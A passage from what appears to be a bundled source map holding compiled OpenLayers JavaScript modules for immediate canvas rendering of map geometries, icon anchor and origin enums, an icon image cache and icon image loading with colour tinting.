function (style) {\n this.setFillStrokeStyle(style.getFill(), style.getStroke());\n this.setImageStyle(style.getImage());\n this.setTextStyle(style.getText());\n };\n /**\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n */\n CanvasImmediateRenderer.prototype.setTransform = function (transform) {\n this.transform_ = transform;\n };\n /**\n * Render a geometry into the canvas. Call\n * {@link module:ol/render/canvas/Immediate~CanvasImmediateRenderer#setStyle renderer.setStyle()} first to set the rendering style.\n *\n * @param {import(\"../../geom/Geometry.js\").default|import(\"../Feature.js\").default} geometry The geometry to render.\n * @api\n */\n CanvasImmediateRenderer.prototype.drawGeometry = function (geometry) {\n var type = geometry.getType();\n switch (type) {\n case 'Point':\n this.drawPoint(\n /** @type {import(\"../../geom/Point.js\").default} */ (geometry));\n break;\n case 'LineString':\n this.drawLineString(\n /** @type {import(\"../../geom/LineString.js\").default} */ (geometry));\n break;\n case 'Polygon':\n this.drawPolygon(\n /** @type {import(\"../../geom/Polygon.js\").default} */ (geometry));\n break;\n case 'MultiPoint':\n this.drawMultiPoint(\n /** @type {import(\"../../geom/MultiPoint.js\").default} */ (geometry));\n break;\n case 'MultiLineString':\n this.drawMultiLineString(\n /** @type {import(\"../../geom/MultiLineString.js\").default} */ (geometry));\n break;\n case 'MultiPolygon':\n this.drawMultiPolygon(\n /** @type {import(\"../../geom/MultiPolygon.js\").default} */ (geometry));\n break;\n case 'GeometryCollection':\n this.drawGeometryCollection(\n /** @type {import(\"../../geom/GeometryCollection.js\").default} */ (geometry));\n break;\n case 'Circle':\n this.drawCircle(\n /** @type {import(\"../../geom/Circle.js\").default} */ (geometry));\n break;\n default:\n }\n };\n /**\n * Render a feature into the canvas. Note that any `zIndex` on the provided\n * style will be ignored - features are rendered immediately in the order that\n * this method is called. If you need `zIndex` support, you should be using an\n * {@link module:ol/layer/Vector~VectorLayer VectorLayer} instead.\n *\n * @param {import(\"../../Feature.js\").default} feature Feature.\n * @param {import(\"../../style/Style.js\").default} style Style.\n * @api\n */\n CanvasImmediateRenderer.prototype.drawFeature = function (feature, style) {\n var geometry = style.getGeometryFunction()(feature);\n if (!geometry || !intersects(this.extent_, geometry.getExtent())) {\n return;\n }\n this.setStyle(style);\n this.drawGeometry(geometry);\n };\n /**\n * Render a GeometryCollection to the canvas. Rendering is immediate and\n * uses the current styles appropriate for each geometry in the collection.\n *\n * @param {import(\"../../geom/GeometryCollection.js\").default} geometry Geometry collection.\n */\n CanvasImmediateRenderer.prototype.drawGeometryCollection = function (geometry) {\n var geometries = geometry.getGeometriesArray();\n for (var i = 0, ii = geometries.length; i < ii; ++i) {\n this.drawGeometry(geometries[i]);\n }\n };\n /**\n * Render a Point geometry into the canvas. Rendering is immediate and uses\n * the current style.\n *\n * @param {import(\"../../geom/Point.js\").default|import(\"../Feature.js\").default} geometry Point geometry.\n */\n CanvasImmediateRenderer.prototype.drawPoint = function (geometry) {\n if (this.squaredTolerance_) {\n geometry = /** @type {import(\"../../geom/Point.js\").default} */ (geometry.simplifyTransformed(this.squaredTolerance_, this.userTransform_));\n }\n var flatCoordinates = geometry.getFlatCoordinates();\n var stride = geometry.getStride();\n if (this.image_) {\n this.drawImages_(flatCoordinates, 0, flatCoordinates.length, stride);\n }\n if (this.text_ !== '') {\n this.drawText_(flatCoordinates, 0, flatCoordinates.length, stride);\n }\n };\n /**\n * Render a MultiPoint geometry into the canvas. Rendering is immediate and\n * uses the current style.\n *\n * @param {import(\"../../geom/MultiPoint.js\").default|import(\"../Feature.js\").default} geometry MultiPoint geometry.\n */\n CanvasImmediateRenderer.prototype.drawMultiPoint = function (geometry) {\n if (this.squaredTolerance_) {\n geometry = /** @type {import(\"../../geom/MultiPoint.js\").default} */ (geometry.simplifyTransformed(this.squaredTolerance_, this.userTransform_));\n }\n var flatCoordinates = geometry.getFlatCoordinates();\n var stride = geometry.getStride();\n if (this.image_) {\n this.drawImages_(flatCoordinates, 0, flatCoordinates.length, stride);\n }\n if (this.text_ !== '') {\n this.drawText_(flatCoordinates, 0, flatCoordinates.length, stride);\n }\n };\n /**\n * Render a LineString into the canvas. Rendering is immediate and uses\n * the current style.\n *\n * @param {import(\"../../geom/LineString.js\").default|import(\"../Feature.js\").default} geometry LineString geometry.\n */\n CanvasImmediateRenderer.prototype.drawLineString = function (geometry) {\n if (this.squaredTolerance_) {\n geometry = /** @type {import(\"../../geom/LineString.js\").default} */ (geometry.simplifyTransformed(this.squaredTolerance_, this.userTransform_));\n }\n if (!intersects(this.extent_, geometry.getExtent())) {\n return;\n }\n if (this.strokeState_) {\n this.setContextStrokeState_(this.strokeState_);\n var context = this.context_;\n var flatCoordinates = geometry.getFlatCoordinates();\n context.beginPath();\n this.moveToLineTo_(flatCoordinates, 0, flatCoordinates.length, geometry.getStride(), false);\n context.stroke();\n }\n if (this.text_ !== '') {\n var flatMidpoint = geometry.getFlatMidpoint();\n this.drawText_(flatMidpoint, 0, 2, 2);\n }\n };\n /**\n * Render a MultiLineString geometry into the canvas. Rendering is immediate\n * and uses the current style.\n *\n * @param {import(\"../../geom/MultiLineString.js\").default|import(\"../Feature.js\").default} geometry MultiLineString geometry.\n */\n CanvasImmediateRenderer.prototype.drawMultiLineString = function (geometry) {\n if (this.squaredTolerance_) {\n geometry =\n /** @type {import(\"../../geom/MultiLineString.js\").default} */ (geometry.simplifyTransformed(this.squaredTolerance_, this.userTransform_));\n }\n var geometryExtent = geometry.getExtent();\n if (!intersects(this.extent_, geometryExtent)) {\n return;\n }\n if (this.strokeState_) {\n this.setContextStrokeState_(this.strokeState_);\n var context = this.context_;\n var flatCoordinates = geometry.getFlatCoordinates();\n var offset = 0;\n var ends = /** @type {Array<number>} */ (geometry.getEnds());\n var stride = geometry.getStride();\n context.beginPath();\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n offset = this.moveToLineTo_(flatCoordinates, offset, ends[i], stride, false);\n }\n context.stroke();\n }\n if (this.text_ !== '') {\n var flatMidpoints = geometry.getFlatMidpoints();\n this.drawText_(flatMidpoints, 0, flatMidpoints.length, 2);\n }\n };\n /**\n * Render a Polygon geometry into the canvas. Rendering is immediate and uses\n * the current style.\n *\n * @param {import(\"../../geom/Polygon.js\").default|import(\"../Feature.js\").default} geometry Polygon geometry.\n */\n CanvasImmediateRenderer.prototype.drawPolygon = function (geometry) {\n if (this.squaredTolerance_) {\n geometry = /** @type {import(\"../../geom/Polygon.js\").default} */ (geometry.simplifyTransformed(this.squaredTolerance_, this.userTransform_));\n }\n if (!intersects(this.extent_, geometry.getExtent())) {\n return;\n }\n if (this.strokeState_ || this.fillState_) {\n if (this.fillState_) {\n this.setContextFillState_(this.fillState_);\n }\n if (this.strokeState_) {\n this.setContextStrokeState_(this.strokeState_);\n }\n var context = this.context_;\n context.beginPath();\n this.drawRings_(geometry.getOrientedFlatCoordinates(), 0, \n /** @type {Array<number>} */ (geometry.getEnds()), geometry.getStride());\n if (this.fillState_) {\n context.fill();\n }\n if (this.strokeState_) {\n context.stroke();\n }\n }\n if (this.text_ !== '') {\n var flatInteriorPoint = geometry.getFlatInteriorPoint();\n this.drawText_(flatInteriorPoint, 0, 2, 2);\n }\n };\n /**\n * Render MultiPolygon geometry into the canvas. Rendering is immediate and\n * uses the current style.\n * @param {import(\"../../geom/MultiPolygon.js\").default} geometry MultiPolygon geometry.\n */\n CanvasImmediateRenderer.prototype.drawMultiPolygon = function (geometry) {\n if (this.squaredTolerance_) {\n geometry = /** @type {import(\"../../geom/MultiPolygon.js\").default} */ (geometry.simplifyTransformed(this.squaredTolerance_, this.userTransform_));\n }\n if (!intersects(this.extent_, geometry.getExtent())) {\n return;\n }\n if (this.strokeState_ || this.fillState_) {\n if (this.fillState_) {\n this.setContextFillState_(this.fillState_);\n }\n if (this.strokeState_) {\n this.setContextStrokeState_(this.strokeState_);\n }\n var context = this.context_;\n var flatCoordinates = geometry.getOrientedFlatCoordinates();\n var offset = 0;\n var endss = geometry.getEndss();\n var stride = geometry.getStride();\n context.beginPath();\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n offset = this.drawRings_(flatCoordinates, offset, ends, stride);\n }\n if (this.fillState_) {\n context.fill();\n }\n if (this.strokeState_) {\n context.stroke();\n }\n }\n if (this.text_ !== '') {\n var flatInteriorPoints = geometry.getFlatInteriorPoints();\n this.drawText_(flatInteriorPoints, 0, flatInteriorPoints.length, 2);\n }\n };\n /**\n * @param {import(\"../canvas.js\").FillState} fillState Fill state.\n * @private\n */\n CanvasImmediateRenderer.prototype.setContextFillState_ = function (fillState) {\n var context = this.context_;\n var contextFillState = this.contextFillState_;\n if (!contextFillState) {\n context.fillStyle = fillState.fillStyle;\n this.contextFillState_ = {\n fillStyle: fillState.fillStyle,\n };\n }\n else {\n if (contextFillState.fillStyle != fillState.fillStyle) {\n contextFillState.fillStyle = fillState.fillStyle;\n context.fillStyle = fillState.fillStyle;\n }\n }\n };\n /**\n * @param {import(\"../canvas.js\").StrokeState} strokeState Stroke state.\n * @private\n */\n CanvasImmediateRenderer.prototype.setContextStrokeState_ = function (strokeState) {\n var context = this.context_;\n var contextStrokeState = this.contextStrokeState_;\n if (!contextStrokeState) {\n context.lineCap = strokeState.lineCap;\n if (context.setLineDash) {\n context.setLineDash(strokeState.lineDash);\n context.lineDashOffset = strokeState.lineDashOffset;\n }\n context.lineJoin = strokeState.lineJoin;\n context.lineWidth = strokeState.lineWidth;\n context.miterLimit = strokeState.miterLimit;\n context.strokeStyle = strokeState.strokeStyle;\n this.contextStrokeState_ = {\n lineCap: strokeState.lineCap,\n lineDash: strokeState.lineDash,\n lineDashOffset: strokeState.lineDashOffset,\n lineJoin: strokeState.lineJoin,\n lineWidth: strokeState.lineWidth,\n miterLimit: strokeState.miterLimit,\n strokeStyle: strokeState.strokeStyle,\n };\n }\n else {\n if (contextStrokeState.lineCap != strokeState.lineCap) {\n contextStrokeState.lineCap = strokeState.lineCap;\n context.lineCap = strokeState.lineCap;\n }\n if (context.setLineDash) {\n if (!equals(contextStrokeState.lineDash, strokeState.lineDash)) {\n context.setLineDash((contextStrokeState.lineDash = strokeState.lineDash));\n }\n if (contextStrokeState.lineDashOffset != strokeState.lineDashOffset) {\n contextStrokeState.lineDashOffset = strokeState.lineDashOffset;\n context.lineDashOffset = strokeState.lineDashOffset;\n }\n }\n if (contextStrokeState.lineJoin != strokeState.lineJoin) {\n contextStrokeState.lineJoin = strokeState.lineJoin;\n context.lineJoin = strokeState.lineJoin;\n }\n if (contextStrokeState.lineWidth != strokeState.lineWidth) {\n contextStrokeState.lineWidth = strokeState.lineWidth;\n context.lineWidth = strokeState.lineWidth;\n }\n if (contextStrokeState.miterLimit != strokeState.miterLimit) {\n contextStrokeState.miterLimit = strokeState.miterLimit;\n context.miterLimit = strokeState.miterLimit;\n }\n if (contextStrokeState.strokeStyle != strokeState.strokeStyle) {\n contextStrokeState.strokeStyle = strokeState.strokeStyle;\n context.strokeStyle = strokeState.strokeStyle;\n }\n }\n };\n /**\n * @param {import(\"../canvas.js\").TextState} textState Text state.\n * @private\n */\n CanvasImmediateRenderer.prototype.setContextTextState_ = function (textState) {\n var context = this.context_;\n var contextTextState = this.contextTextState_;\n var textAlign = textState.textAlign\n ? textState.textAlign\n : defaultTextAlign;\n if (!contextTextState) {\n context.font = textState.font;\n context.textAlign = /** @type {CanvasTextAlign} */ (textAlign);\n context.textBaseline = /** @type {CanvasTextBaseline} */ (textState.textBaseline);\n this.contextTextState_ = {\n font: textState.font,\n textAlign: textAlign,\n textBaseline: textState.textBaseline,\n };\n }\n else {\n if (contextTextState.font != textState.font) {\n contextTextState.font = textState.font;\n context.font = textState.font;\n }\n if (contextTextState.textAlign != textAlign) {\n contextTextState.textAlign = /** @type {CanvasTextAlign} */ (textAlign);\n context.textAlign = /** @type {CanvasTextAlign} */ (textAlign);\n }\n if (contextTextState.textBaseline != textState.textBaseline) {\n contextTextState.textBaseline = /** @type {CanvasTextBaseline} */ (textState.textBaseline);\n context.textBaseline = /** @type {CanvasTextBaseline} */ (textState.textBaseline);\n }\n }\n };\n /**\n * Set the fill and stroke style for subsequent draw operations. To clear\n * either fill or stroke styles, pass null for the appropriate parameter.\n *\n * @param {import(\"../../style/Fill.js\").default} fillStyle Fill style.\n * @param {import(\"../../style/Stroke.js\").default} strokeStyle Stroke style.\n */\n CanvasImmediateRenderer.prototype.setFillStrokeStyle = function (fillStyle, strokeStyle) {\n var _this = this;\n if (!fillStyle) {\n this.fillState_ = null;\n }\n else {\n var fillStyleColor = fillStyle.getColor();\n this.fillState_ = {\n fillStyle: asColorLike(fillStyleColor ? fillStyleColor : defaultFillStyle),\n };\n }\n if (!strokeStyle) {\n this.strokeState_ = null;\n }\n else {\n var strokeStyleColor = strokeStyle.getColor();\n var strokeStyleLineCap = strokeStyle.getLineCap();\n var strokeStyleLineDash = strokeStyle.getLineDash();\n var strokeStyleLineDashOffset = strokeStyle.getLineDashOffset();\n var strokeStyleLineJoin = strokeStyle.getLineJoin();\n var strokeStyleWidth = strokeStyle.getWidth();\n var strokeStyleMiterLimit = strokeStyle.getMiterLimit();\n var lineDash = strokeStyleLineDash\n ? strokeStyleLineDash\n : defaultLineDash;\n this.strokeState_ = {\n lineCap: strokeStyleLineCap !== undefined\n ? strokeStyleLineCap\n : defaultLineCap,\n lineDash: this.pixelRatio_ === 1\n ? lineDash\n : lineDash.map(function (n) { return n * _this.pixelRatio_; }),\n lineDashOffset: (strokeStyleLineDashOffset\n ? strokeStyleLineDashOffset\n : defaultLineDashOffset) * this.pixelRatio_,\n lineJoin: strokeStyleLineJoin !== undefined\n ? strokeStyleLineJoin\n : defaultLineJoin,\n lineWidth: (strokeStyleWidth !== undefined\n ? strokeStyleWidth\n : defaultLineWidth) * this.pixelRatio_,\n miterLimit: strokeStyleMiterLimit !== undefined\n ? strokeStyleMiterLimit\n : defaultMiterLimit,\n strokeStyle: asColorLike(strokeStyleColor ? strokeStyleColor : defaultStrokeStyle),\n };\n }\n };\n /**\n * Set the image style for subsequent draw operations. Pass null to remove\n * the image style.\n *\n * @param {import(\"../../style/Image.js\").default} imageStyle Image style.\n */\n CanvasImmediateRenderer.prototype.setImageStyle = function (imageStyle) {\n var imageSize;\n if (!imageStyle || !(imageSize = imageStyle.getSize())) {\n this.image_ = null;\n return;\n }\n var imageAnchor = imageStyle.getAnchor();\n var imageOrigin = imageStyle.getOrigin();\n this.image_ = imageStyle.getImage(this.pixelRatio_);\n this.imageAnchorX_ = imageAnchor[0] * this.pixelRatio_;\n this.imageAnchorY_ = imageAnchor[1] * this.pixelRatio_;\n this.imageHeight_ = imageSize[1] * this.pixelRatio_;\n this.imageOpacity_ = imageStyle.getOpacity();\n this.imageOriginX_ = imageOrigin[0];\n this.imageOriginY_ = imageOrigin[1];\n this.imageRotateWithView_ = imageStyle.getRotateWithView();\n this.imageRotation_ = imageStyle.getRotation();\n this.imageScale_ = imageStyle.getScaleArray();\n this.imageWidth_ = imageSize[0] * this.pixelRatio_;\n };\n /**\n * Set the text style for subsequent draw operations. Pass null to\n * remove the text style.\n *\n * @param {import(\"../../style/Text.js\").default} textStyle Text style.\n */\n CanvasImmediateRenderer.prototype.setTextStyle = function (textStyle) {\n if (!textStyle) {\n this.text_ = '';\n }\n else {\n var textFillStyle = textStyle.getFill();\n if (!textFillStyle) {\n this.textFillState_ = null;\n }\n else {\n var textFillStyleColor = textFillStyle.getColor();\n this.textFillState_ = {\n fillStyle: asColorLike(textFillStyleColor ? textFillStyleColor : defaultFillStyle),\n };\n }\n var textStrokeStyle = textStyle.getStroke();\n if (!textStrokeStyle) {\n this.textStrokeState_ = null;\n }\n else {\n var textStrokeStyleColor = textStrokeStyle.getColor();\n var textStrokeStyleLineCap = textStrokeStyle.getLineCap();\n var textStrokeStyleLineDash = textStrokeStyle.getLineDash();\n var textStrokeStyleLineDashOffset = textStrokeStyle.getLineDashOffset();\n var textStrokeStyleLineJoin = textStrokeStyle.getLineJoin();\n var textStrokeStyleWidth = textStrokeStyle.getWidth();\n var textStrokeStyleMiterLimit = textStrokeStyle.getMiterLimit();\n this.textStrokeState_ = {\n lineCap: textStrokeStyleLineCap !== undefined\n ? textStrokeStyleLineCap\n : defaultLineCap,\n lineDash: textStrokeStyleLineDash\n ? textStrokeStyleLineDash\n : defaultLineDash,\n lineDashOffset: textStrokeStyleLineDashOffset\n ? textStrokeStyleLineDashOffset\n : defaultLineDashOffset,\n lineJoin: textStrokeStyleLineJoin !== undefined\n ? textStrokeStyleLineJoin\n : defaultLineJoin,\n lineWidth: textStrokeStyleWidth !== undefined\n ? textStrokeStyleWidth\n : defaultLineWidth,\n miterLimit: textStrokeStyleMiterLimit !== undefined\n ? textStrokeStyleMiterLimit\n : defaultMiterLimit,\n strokeStyle: asColorLike(textStrokeStyleColor ? textStrokeStyleColor : defaultStrokeStyle),\n };\n }\n var textFont = textStyle.getFont();\n var textOffsetX = textStyle.getOffsetX();\n var textOffsetY = textStyle.getOffsetY();\n var textRotateWithView = textStyle.getRotateWithView();\n var textRotation = textStyle.getRotation();\n var textScale = textStyle.getScaleArray();\n var textText = textStyle.getText();\n var textTextAlign = textStyle.getTextAlign();\n var textTextBaseline = textStyle.getTextBaseline();\n this.textState_ = {\n font: textFont !== undefined ? textFont : defaultFont,\n textAlign: textTextAlign !== undefined ? textTextAlign : defaultTextAlign,\n textBaseline: textTextBaseline !== undefined\n ? textTextBaseline\n : defaultTextBaseline,\n };\n this.text_ =\n textText !== undefined\n ? Array.isArray(textText)\n ? textText.reduce(function (acc, t, i) { return (acc += i % 2 ? ' ' : t); }, '')\n : textText\n : '';\n this.textOffsetX_ =\n textOffsetX !== undefined ? this.pixelRatio_ * textOffsetX : 0;\n this.textOffsetY_ =\n textOffsetY !== undefined ? this.pixelRatio_ * textOffsetY : 0;\n this.textRotateWithView_ =\n textRotateWithView !== undefined ? textRotateWithView : false;\n this.textRotation_ = textRotation !== undefined ? textRotation : 0;\n this.textScale_ = [\n this.pixelRatio_ * textScale[0],\n this.pixelRatio_ * textScale[1],\n ];\n }\n };\n return CanvasImmediateRenderer;\n}(VectorContext));\nexport default CanvasImmediateRenderer;\n//# sourceMappingURL=Immediate.js.map","/**\n * @module ol/style/IconAnchorUnits\n */\n/**\n * Icon anchor units. One of 'fraction', 'pixels'.\n * @enum {string}\n */\nexport default {\n /**\n * Anchor is a fraction\n * @api\n */\n FRACTION: 'fraction',\n /**\n * Anchor is in pixels\n * @api\n */\n PIXELS: 'pixels',\n};\n//# sourceMappingURL=IconAnchorUnits.js.map","/**\n * @module ol/style/IconOrigin\n */\n/**\n * Icon origin. One of 'bottom-left', 'bottom-right', 'top-left', 'top-right'.\n * @enum {string}\n */\nexport default {\n /**\n * Origin is at bottom left\n * @api\n */\n BOTTOM_LEFT: 'bottom-left',\n /**\n * Origin is at bottom right\n * @api\n */\n BOTTOM_RIGHT: 'bottom-right',\n /**\n * Origin is at top left\n * @api\n */\n TOP_LEFT: 'top-left',\n /**\n * Origin is at top right\n * @api\n */\n TOP_RIGHT: 'top-right',\n};\n//# sourceMappingURL=IconOrigin.js.map","/**\n * @module ol/style/IconImageCache\n */\nimport { asString } from '../color.js';\n/**\n * @classdesc\n * Singleton class. Available through {@link module:ol/style/IconImageCache.shared}.\n */\nvar IconImageCache = /** @class */ (function () {\n function IconImageCache() {\n /**\n * @type {!Object<string, import(\"./IconImage.js\").default>}\n * @private\n */\n this.cache_ = {};\n /**\n * @type {number}\n * @private\n */\n this.cacheSize_ = 0;\n /**\n * @type {number}\n * @private\n */\n this.maxCacheSize_ = 32;\n }\n /**\n * FIXME empty description for jsdoc\n */\n IconImageCache.prototype.clear = function () {\n this.cache_ = {};\n this.cacheSize_ = 0;\n };\n /**\n * @return {boolean} Can expire cache.\n */\n IconImageCache.prototype.canExpireCache = function () {\n return this.cacheSize_ > this.maxCacheSize_;\n };\n /**\n * FIXME empty description for jsdoc\n */\n IconImageCache.prototype.expire = function () {\n if (this.canExpireCache()) {\n var i = 0;\n for (var key in this.cache_) {\n var iconImage = this.cache_[key];\n if ((i++ & 3) === 0 && !iconImage.hasListener()) {\n delete this.cache_[key];\n --this.cacheSize_;\n }\n }\n }\n };\n /**\n * @param {string} src Src.\n * @param {?string} crossOrigin Cross origin.\n * @param {import(\"../color.js\").Color} color Color.\n * @return {import(\"./IconImage.js\").default} Icon image.\n */\n IconImageCache.prototype.get = function (src, crossOrigin, color) {\n var key = getKey(src, crossOrigin, color);\n return key in this.cache_ ? this.cache_[key] : null;\n };\n /**\n * @param {string} src Src.\n * @param {?string} crossOrigin Cross origin.\n * @param {import(\"../color.js\").Color} color Color.\n * @param {import(\"./IconImage.js\").default} iconImage Icon image.\n */\n IconImageCache.prototype.set = function (src, crossOrigin, color, iconImage) {\n var key = getKey(src, crossOrigin, color);\n this.cache_[key] = iconImage;\n ++this.cacheSize_;\n };\n /**\n * Set the cache size of the icon cache. Default is `32`. Change this value when\n * your map uses more than 32 different icon images and you are not caching icon\n * styles on the application level.\n * @param {number} maxCacheSize Cache max size.\n * @api\n */\n IconImageCache.prototype.setSize = function (maxCacheSize) {\n this.maxCacheSize_ = maxCacheSize;\n this.expire();\n };\n return IconImageCache;\n}());\n/**\n * @param {string} src Src.\n * @param {?string} crossOrigin Cross origin.\n * @param {import(\"../color.js\").Color} color Color.\n * @return {string} Cache key.\n */\nfunction getKey(src, crossOrigin, color) {\n var colorString = color ? asString(color) : 'null';\n return crossOrigin + ':' + src + ':' + colorString;\n}\nexport default IconImageCache;\n/**\n * The {@link module:ol/style/IconImageCache~IconImageCache} for\n * {@link module:ol/style/Icon~Icon} images.\n * @api\n */\nexport var shared = new IconImageCache();\n//# sourceMappingURL=IconImageCache.js.map","/**\n * @module ol/style/IconImage\n */\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport EventTarget from '../events/Target.js';\nimport EventType from '../events/EventType.js';\nimport ImageState from '../ImageState.js';\nimport { asString } from '../color.js';\nimport { createCanvasContext2D } from '../dom.js';\nimport { shared as iconImageCache } from './IconImageCache.js';\nimport { listenImage } from '../Image.js';\n/**\n * @type {CanvasRenderingContext2D}\n */\nvar taintedTestContext = null;\nvar IconImage = /** @class */ (function (_super) {\n __extends(IconImage, _super);\n /**\n * @param {HTMLImageElement|HTMLCanvasElement} image Image.\n * @param {string|undefined} src Src.\n * @param {import(\"../size.js\").Size} size Size.\n * @param {?string} crossOrigin Cross origin.\n * @param {import(\"../ImageState.js\").default} imageState Image state.\n * @param {import(\"../color.js\").Color} color Color.\n */\n function IconImage(image, src, size, crossOrigin, imageState, color) {\n var _this = _super.call(this) || this;\n /**\n * @private\n * @type {HTMLImageElement|HTMLCanvasElement}\n */\n _this.hitDetectionImage_ = null;\n /**\n * @private\n * @type {HTMLImageElement|HTMLCanvasElement}\n */\n _this.image_ = !image ? new Image() : image;\n if (crossOrigin !== null) {\n /** @type {HTMLImageElement} */ (_this.image_).crossOrigin = crossOrigin;\n }\n /**\n * @private\n * @type {Object<number, HTMLCanvasElement>}\n */\n _this.canvas_ = {};\n /**\n * @private\n * @type {import(\"../color.js\").Color}\n */\n _this.color_ = color;\n /**\n * @private\n * @type {?function():void}\n */\n _this.unlisten_ = null;\n /**\n * @private\n * @type {import(\"../ImageState.js\").default}\n */\n _this.imageState_ = imageState;\n /**\n * @private\n * @type {import(\"../size.js\").Size}\n */\n _this.size_ = size;\n /**\n * @private\n * @type {string|undefined}\n */\n _this.src_ = src;\n /**\n * @private\n */\n _this.tainted_;\n return _this;\n }\n /**\n * @private\n * @return {boolean} The image canvas is tainted.\n */\n IconImage.prototype.isTainted_ = function () {\n if (this.tainted_ === undefined && this.imageState_ === ImageState.LOADED) {\n if (!taintedTestContext) {\n taintedTestContext = createCanvasContext2D(1, 1);\n }\n taintedTestContext.drawImage(this.image_, 0, 0);\n try {\n taintedTestContext.getImageData(0, 0, 1, 1);\n this.tainted_ = false;\n }\n catch (e) {\n taintedTestContext = null;\n this.tainted_ = true;\n }\n }\n return this.tainted_ === true;\n };\n /**\n * @private\n */\n IconImage.prototype.dispatchChangeEvent_ = function () {\n this.dispatchEvent(EventType.CHANGE);\n };\n /**\n * @private\n */\n IconImage.prototype.handleImageError_ = function () {\n this.imageState_ = ImageState.ERROR;\n this.unlistenImage_();\n this.dispatchChangeEvent_();\n };\n /**\n * @private\n */\n IconImage.prototype.handleImageLoad_ = function () {\n this.imageState_ = ImageState.LOADED;\n if (this.size_) {\n this.image_.width = this.size_[0];\n this.image_.height = this.size_[1];\n }\n else {\n this.size_ = [this.image_.width, this.image_.height];\n }\n this.unlistenImage_();\n this.dispatchChangeEvent_();\n };\n /**\n * @param {number} pixelRatio Pixel ratio.\n * @return {HTMLImageElement|HTMLCanvasElement} Image or Canvas element.\n */\n IconImage.prototype.getImage = function (pixelRatio) {\n this.replaceColor_(pixelRatio);\n return this.canvas_[pixelRatio] ? this.canvas_[pixelRatio] : this.image_;\n };\n /**\n * @param {number} pixelRatio Pixel ratio.\n * @return {number} Image or Canvas element.\n */\n IconImage.prototype.getPixelRatio = function (pixelRatio) {\n this.replaceColor_(pixelRatio);\n return this.canvas_[pixelRatio] ? pixelRatio : 1;\n };\n /**\n * @return {import(\"../ImageState.js\").default} Image state.\n */\n IconImage.prototype.getImageState = function () {\n return this.imageState_;\n };\n /**\n * @return {HTMLImageElement|HTMLCanvasElement} Image element.\n */\n IconImage.prototype.getHitDetectionImage = function () {\n if (!this.hitDetectionImage_) {\n if (this.isTainted_()) {\n var width = this.size_[0];\n var height = this.size_[1];\n var context = createCanvasContext2D(width, height);\n context.fillRect(0, 0, width, height);\n this.hitDetectionImage_ = context.canvas;\n }\n else {\n this.hitDetectionImage_ = this.image_;\n }\n }\n return this.hitDetectionImage_;\n };\n /**\n * Get the size of the icon (in pixels).\n * @return {import(\"../size.js\").Size} Image size.\n */\n IconImage.prototype.getSize = function () {\n return this.size_;\n };\n /**\n * @return {string|undefined} Image src.\n */\n IconImage.prototype.getSrc = function () {\n return this.src_;\n };\n /**\n * Load not yet loaded URI.\n */\n IconImage.prototype.load = function () {\n if (this.imageState_ == ImageState.IDLE) {\n this.imageState_ = ImageState.LOADING;\n try {\n /** @type {HTMLImageElement} */ (this.image_).src = this.src_;\n }\n catch (e) {\n this.handleImageError_();\n }\n this.unlisten_ = listenImage(this.image_, this.handleImageLoad_.bind(this), this.handleImageError_.bind(this));\n }\n };\n /**\n * @param {number} pixelRatio Pixel ratio.\n * @private\n */\n IconImage.prototype.replaceColor_ = function (pixelRatio) {\n if (!this.color_ ||\n this.canvas_[pixelRatio] ||\n this.imageState_ !== ImageState.LOADED) {\n return;\n }\n var canvas = document.createElement('canvas');\n this.canvas_[pixelRatio] = canvas;\n canvas.width = Math.ceil(this.image_.width * pixelRatio);\n canvas.height = Math.ceil(this.image_.height * pixelRatio);\n var ctx = canvas.getContext('2d');\n ctx.scale(pixelRatio, pixelRatio);\n ctx.drawImage(this.image_, 0, 0);\n ctx.globalCompositeOperation = 'multiply';\n // Internet Explorer 11 does not support the multiply operation.\n // If the canvas is tainted in Internet Explorer this still produces\n // a solid color image with the shape of the icon.\n if (ctx.globalCompositeOperation === 'multiply' || this.isTainted_()) {\n ctx.fillStyle = asString(this.color_);\n ctx.fillRect(0, 0, canvas.width / pixelRatio, canvas.height / pixelRatio);\n ctx.globalCompositeOperation = 'destination-in';\n ctx.drawImage(this.image_, 0, 0);\n }\n else {\n var imgData = ctx.getImageData(0, 0, canvas.width, canvas.height);\n var data = imgData.data;\n var r = this.color_[0] / 255.0;\n var g = this.color_[1] / 255.0;\n var b = this.color_[2] / 255.0;\n var a = this.color_[3];\n for (var i = 0, ii = data.length; i < ii; i += 4) {\n data[i] *= r;\n data[i + 1] *= g;\n data[i + 2] *= b;\n data[i + 3] *= a;\n }\n ctx.putImageData(imgData, 0, 0);\n }\n };\n /**\n * Discards event handlers which listen for load completion or errors.\n *\n * @private\n */\n IconImage.prototype.unlistenImage_ = function () {\n if (this.unlisten_) {\n this.unlisten_();\n this.unlisten_ = null;\n }\n };\n return IconImage;\n}(EventTarget));\n/**\n * @param {HTMLImageElement|HTMLCanvasElement} image Image.\n * @param {string} src Src.\n * @param {import(\"../size.js\").Size} size Size.\n * @param {?string} crossOrigin Cross origin.\n * @param {import(\"../ImageState.js\").default} imageState Image state.\n * @param {import(\"../color.js\").Color} color Color.\n * @return {IconImage} Icon image.\n */\nexport function get(image, src, size, crossOrigin, imageState, color) {\n var iconImage = iconImageCache.get(src, crossOrigin, color);\n if (!iconImage) {\n iconImage = new IconImage(image, src, size, crossOrigin, imageState, color);\n iconImageCache.set(src, crossOrigin, color, iconImage);\n }\n return iconImage;\n}\nexport default IconImage;\n//# sourceMappingURL=IconImage.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends 